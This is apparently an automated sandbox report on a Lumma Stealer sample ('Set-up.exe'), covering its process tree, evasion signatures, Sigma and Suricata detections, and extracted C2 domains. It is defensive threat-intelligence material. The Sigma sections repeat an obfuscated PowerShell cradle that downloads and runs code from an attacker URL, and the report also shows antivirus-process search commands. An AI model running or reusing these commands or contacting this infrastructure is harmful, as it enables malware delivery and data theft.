Edit tour

Windows Analysis Report
'Set-up.exe

Overview

General Information

Sample name:	'Set-up.exe
Analysis ID:	1584513
MD5:	718cd3f9c7af9f5d66be359a52d591fa
SHA1:	67e5a80879cc7e6ee2929fb54d1482d9aa5ac53d
SHA256:	522a7e03226188d88442e28eced425f155642961823eb06bead1ddabab431e5d
Tags:	exeLummaStealeruser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Found direct / indirect Syscall (likely to bypass EDR)

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample or dropped binary is a compiled AutoHotkey binary

Sample uses string decryption to hide its real strings

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

'Set-up.exe (PID: 7000 cmdline: "C:\Users\user\Desktop\'Set-up.exe" MD5: 718CD3F9C7AF9F5D66BE359A52D591FA)

cmd.exe (PID: 7148 cmdline: "C:\Windows\System32\cmd.exe" /c move Up Up.cmd & Up.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3848 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 5164 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 6036 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 352 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5936 cmdline: cmd /c md 271185 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 4464 cmdline: extrac32 /Y /E Meetup MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 1440 cmdline: findstr /V "BURST" Lazy MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6112 cmdline: cmd /c copy /b 271185\Auckland.com + Mono + Waves + Offered + Hotel + Statement + Bookstore + Oh + Alerts + Divisions + Az 271185\Auckland.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 416 cmdline: cmd /c copy /b ..\Initiated + ..\Monitors + ..\Arrived + ..\Spoken + ..\Distribution + ..\Ranks + ..\Gotta f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Auckland.com (PID: 7128 cmdline: Auckland.com f MD5: 62D09F076E6E0240548C2F837536A46A)

powershell.exe (PID: 7144 cmdline: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PSNDEYKP9CHQN0J79BBDFB.exe (PID: 6228 cmdline: "C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe" MD5: 51F99EDDD33CC04FB0F55F873B76D907)

PSNDEYKP9CHQN0J79BBDFB.tmp (PID: 2424 cmdline: "C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp" /SL5="$40428,7785838,845824,C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe" MD5: F809F51E678B7F2E388F8C969EF902C8)

PSNDEYKP9CHQN0J79BBDFB.exe (PID: 3244 cmdline: "C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe" /VERYSILENT MD5: 51F99EDDD33CC04FB0F55F873B76D907)

PSNDEYKP9CHQN0J79BBDFB.tmp (PID: 3060 cmdline: "C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp" /SL5="$50428,7785838,845824,C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe" /VERYSILENT MD5: F809F51E678B7F2E388F8C969EF902C8)

timeout.exe (PID: 2912 cmdline: "timeout" 9 MD5: 100065E21CFBBDE57CBA2838921F84D6)

conhost.exe (PID: 4416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3328 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5288 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3176 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 2252 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2364 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 2640 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5888 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2996 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1396 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 2008 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6404 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1852 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 2308 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6328 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 6400 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 6096 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6016 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 6260 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

BrightLib.exe (PID: 2680 cmdline: "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe" MD5: 6A8860A8150021B2D5B9BB707DE4FA37)

choice.exe (PID: 6444 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["abruptyopsn.shop", "cloudewahsj.shop", "nearycrepso.shop", "noisycuttej.shop", "carveforutune.click", "tirepublicerj.shop", "rabidcowse.shop", "wholersorie.shop", "framekgirus.shop"], "Build id": "jMw1IE--bigJ"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Auckland.com f, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com, ParentProcessId: 7128, ParentProcessName: Auckland.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , ProcessId: 7144, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Auckland.com f, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com, ParentProcessId: 7128, ParentProcessName: Auckland.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , ProcessId: 7144, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Auckland.com f, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com, ParentProcessId: 7128, ParentProcessName: Auckland.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , ProcessId: 7144, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Auckland.com f, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com, ParentProcessId: 7128, ParentProcessName: Auckland.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , ProcessId: 7144, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Auckland.com f, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com, ParentProcessId: 7128, ParentProcessName: Auckland.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C , ProcessId: 7144, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Up Up.cmd & Up.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7148, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 352, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:25:37.364323+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	188.114.96.3	443	TCP
2025-01-05T18:25:38.305272+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	188.114.96.3	443	TCP
2025-01-05T18:25:39.457857+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	188.114.96.3	443	TCP
2025-01-05T18:25:40.699033+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	188.114.96.3	443	TCP
2025-01-05T18:25:41.943255+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	188.114.96.3	443	TCP
2025-01-05T18:25:43.279278+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	443	TCP
2025-01-05T18:25:44.240121+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	188.114.96.3	443	TCP
2025-01-05T18:25:45.266974+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	188.114.96.3	443	TCP
2025-01-05T18:25:46.578941+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	185.161.251.21	443	TCP
2025-01-05T18:25:47.359959+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	104.21.37.128	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:25:37.841609+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	188.114.96.3	443	TCP
2025-01-05T18:25:38.770047+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49738	188.114.96.3	443	TCP
2025-01-05T18:25:45.702319+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49744	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:25:37.841609+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49737	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:25:38.770047+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49738	188.114.96.3	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:25:47.722959+0100	2008438	1	A Network Trojan was detected	104.21.37.128	443	192.168.2.4	49746	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:25:44.797729+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49743	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["abruptyopsn.shop", "cloudewahsj.shop", "nearycrepso.shop", "noisycuttej.shop", "carveforutune.click", "tirepublicerj.shop", "rabidcowse.shop", "wholersorie.shop", "framekgirus.shop"], "Build id": "jMw1IE--bigJ"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe

ReversingLabs: Detection: 73%

Sample uses string decryption to hide its real strings

Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: carveforutune.click
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String decryptor: jMw1IE--bigJ

Source: 'Set-up.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49740 version: TLS 1.2
